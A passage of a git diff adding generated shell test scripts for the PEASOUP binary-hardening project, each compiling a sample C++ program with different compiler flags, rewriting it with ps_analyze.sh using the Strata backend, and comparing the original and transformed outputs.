+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O.no_pic.no_omit-fp.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O.no_pic.no_omit-fp.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..b7246d7f46aff94f13cdb763c8774e6113846eba
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O.no_pic.no_omit-fp.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O     -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O     -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O.no_pic.no_omit-fp.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O.no_pic.no_omit-fp.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..2164a21e00325e6d62fb643ed233721a8361f674
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O.no_pic.no_omit-fp.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O       -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O       -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O.no_pic.no_omit-fp.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O.no_pic.no_omit-fp.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..74625c79f6d4a58d89f5a653492658bc436afc11
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O.no_pic.no_omit-fp.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O       -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O       -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O2.-fPIC.-fomit-frame-pointer.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O2.-fPIC.-fomit-frame-pointer.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..58cdd40f767690c04ed1110fc60524ff12a79e91
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O2.-fPIC.-fomit-frame-pointer.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O2 -fPIC -fomit-frame-pointer -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O2 -fPIC -fomit-frame-pointer -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O2.-fPIC.-fomit-frame-pointer.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O2.-fPIC.-fomit-frame-pointer.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..d786668b088d82cd3b1e47524e2d22269fe61595
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O2.-fPIC.-fomit-frame-pointer.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O2 -fPIC -fomit-frame-pointer -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O2 -fPIC -fomit-frame-pointer -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O2.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O2.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..2c506fdf392c40bfd6c3ad5f00bceccf8f0b4fc3
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O2.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O2 -fPIC -fomit-frame-pointer   -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O2 -fPIC -fomit-frame-pointer   -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
